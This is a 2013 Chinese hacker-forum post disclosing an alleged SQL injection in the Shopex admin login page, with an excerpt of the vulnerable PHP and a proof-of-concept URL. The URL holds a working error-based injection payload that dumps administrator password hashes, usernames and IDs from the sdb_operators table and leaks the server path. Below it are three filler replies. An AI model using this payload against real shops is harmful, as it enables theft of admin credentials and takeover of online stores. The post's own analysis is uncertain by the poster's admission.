搜索
查看: 436|回复: 3

Shopex后台登录页面注入漏洞附利用POC

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2013-10-18 12:45:43 | 显示全部楼层 |阅读模式
对登录时传递的某参数未做过滤,导致注入的产生

最近做二次开发的时候看到了登录的流程

发现在文件\shopex\core\admin\controller\ctl.passport.php

处理了验证码,管理帐号和密码,但是在最底下发现一个sess_id

function certi_validate(){

        $cert = $this->system->loadModel('service/certificate');

        $sess_id = $_POST['session_id'];

  

        $return = array();

        if($sess_id == $cert->get_sess()){

            $return = array(

                'res' => 'succ',

                'msg' => '',

                'info' => ''

            );

  

            echo json_encode($return);

        }else{

            $return = array(

                'res' => 'fail',

                'msg' => '000001',

                'info' => 'You have the different session!'

            );

  

            echo json_encode($return);

        }

    }

没做处理。直接导致sql注入产生。还在学php,分析错的地方请指正

http://fuck.0day5.com/shopadmin/ ... login&sess_id=1



利用:

http://fuck.0day5.com/shopadmin/ ... login&sess_id=1(select+1+from(select+count(*),concat((select+(select+(select+concat(userpass,0x7e,username,0x7e,op_id)+from+sdb_operators+Order+by+username+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'='1

顺带路径一起爆出来了


您可以更新记录, 让好友们知道您在做什么...
专业回帖 该用户已被删除
发表于 2013-10-18 12:53:07 | 显示全部楼层
学习了,谢谢分享、、、
专业回帖 该用户已被删除
发表于 2013-10-18 13:32:56 | 显示全部楼层
帮你顶下哈!!
zeroday 该用户已被删除
发表于 2013-10-24 14:29:03 来自手机 | 显示全部楼层
潜水是一种美德,回帖是一种责任!见贴就回,捞金币就闪。专业水金币。-----锋
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表